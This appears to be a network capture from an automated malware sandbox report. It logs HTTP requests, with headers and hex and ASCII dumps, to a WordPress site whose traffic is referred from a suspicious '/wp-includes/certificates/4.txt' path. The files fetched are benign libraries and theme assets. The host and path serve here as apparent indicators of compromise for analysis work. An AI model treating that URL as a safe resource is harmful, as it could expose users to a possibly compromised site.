                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188597 21587722
                                                                                      Age: 177
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20
                                                                                      Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
                                                                                      Aug 16, 2022 11:39:39.562005043 CEST2172INData Raw: 20 20 20 20 24 28 27 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 24 6c 6f 67 6f 69 74 65 6d 20 3d 20 24 28 74 68 69 73 29 3b
                                                                                      Data Ascii: $('.lgx-logo-carousel').each(function(){ var $logoitem = $(this); var dataAttr = $logoitem.data(); //console.log(dataAttr.navlarge); var logocarouselParams = { addClassAct
                                                                                      Aug 16, 2022 11:39:39.562025070 CEST2173INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 69 74 65 6d 73 3a 64 61 74 61 41 74 74 72 2e 69 74 65 6d 74 61 62 6c 65 74 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 3a 64 61 74 61 41 74 74 72 2e 6e 61 76 74
                                                                                      Data Ascii: items:dataAttr.itemtablet, nav:dataAttr.navtablet }, // Item in Desktops Devices (Desktops 992px) 992:{ items:dataA
                                                                                      Aug 16, 2022 11:39:39.565406084 CEST2173OUTGET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:39.806061029 CEST2203INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534d0-1c1f-58592d497f080"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                                                      Content-Length: 7199
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188599 18314943
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e
                                                                                      Data Ascii: /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function
                                                                                      Aug 16, 2022 11:39:39.806097031 CEST2204INData Raw: 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 63 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 73 65 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 6c
                                                                                      Data Ascii: (){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/
                                                                                      Aug 16, 2022 11:39:39.806119919 CEST2205INData Raw: 22 3d 3d 3d 61 3f 63 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a 28 22 69 6e 70 75 74 22 21 3d 3d 61 26 26 22 6f 70 74 69 6f 6e 22 21 3d 3d 61 26 26 72 28 22 6a 51 75 65 72 79 2e 66 6e 2e 61 74 74 72 28 27 76 61 6c 75 65
                                                                                      Data Ascii: "===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"s
                                                                                      Aug 16, 2022 11:39:39.806142092 CEST2207INData Raw: 2c 65 2e 73 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 2e 66 6e 2e 69 6e 69 74 28 65 2c 6e 29 7d 65 2e 65 78 74 65 6e 64 28 21 30 2c 74 2c 74 68 69 73 29 2c 74 2e
                                                                                      Data Ascii: ,e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init
                                                                                      Aug 16, 2022 11:39:39.806226969 CEST2208INData Raw: 20 51 3d 65 2e 65 76 65 6e 74 2e 61 64 64 2c 78 3d 65 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 2c 6b 3d 65 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 2c 4e 3d 65 2e 66 6e 2e 74 6f 67 67 6c 65 2c 54 3d 65 2e 66 6e 2e 6c 69 76 65 2c 4d 3d 65 2e 66 6e
                                                                                      Data Ascii: Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typ
                                                                                      Aug 16, 2022 11:39:39.806251049 CEST2209INData Raw: 2b 74 2e 67 75 69 64 2c 72 2b 31 29 2c 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 61 5b 72 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 21 31 7d 3b 66 6f 72 28 73 2e 67 75 69 64 3d 69 3b 61 2e 6c 65 6e
                                                                                      Data Ascii: +t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,t
                                                                                      Aug 16, 2022 11:39:39.809039116 CEST2210OUTGET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.046179056 CEST2264INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:15 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a55e6f-27f7-58592be2ea280"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT
                                                                                      Content-Length: 10231
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188601 20383096
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61
                                                                                      Data Ascii: /*SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fa
                                                                                      Aug 16, 2022 11:39:40.046221018 CEST2266INData Raw: 6c 73 65 3b 61 62 3d 61 62 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 5c 73 2b 28 5c 53 2b 5c 73 2b 5c 53 2b 24 29 2f 2c 22 24 31 22 29 3b 61 67 5b 30 5d 3d 70 61 72 73 65 49 6e 74 28 61 62 2e 72 65 70 6c 61 63 65 28 2f 5e 28 2e 2a 29 5c 2e 2e 2a 24
                                                                                      Data Ascii: lse;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.
                                                                                      Aug 16, 2022 11:39:40.046248913 CEST2267INData Raw: 7b 55 5b 55 2e 6c 65 6e 67 74 68 5d 3d 58 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 59 29 7b 69 66 28 74 79 70 65 6f 66 20 4f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 21 3d 44 29 7b 4f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28
                                                                                      Data Ascii: {U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload
                                                                                      Aug 16, 2022 11:39:40.046274900 CEST2268INData Raw: 67 4e 61 6d 65 28 22 70 61 72 61 6d 22 29 3b 76 61 72 20 61 63 3d 58 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 76 61 72 20 61 64 3d 30 3b 61 64 3c 61 63 3b 61 64 2b 2b 29 7b 69 66 28 58 5b 61 64 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d
                                                                                      Data Ascii: gName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(
                                                                                      Aug 16, 2022 11:39:40.048980951 CEST2274OUTGET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.282099962 CEST2290INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53047-101d2-58592d3578140"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT
                                                                                      Content-Length: 66002
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188603 17189189
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 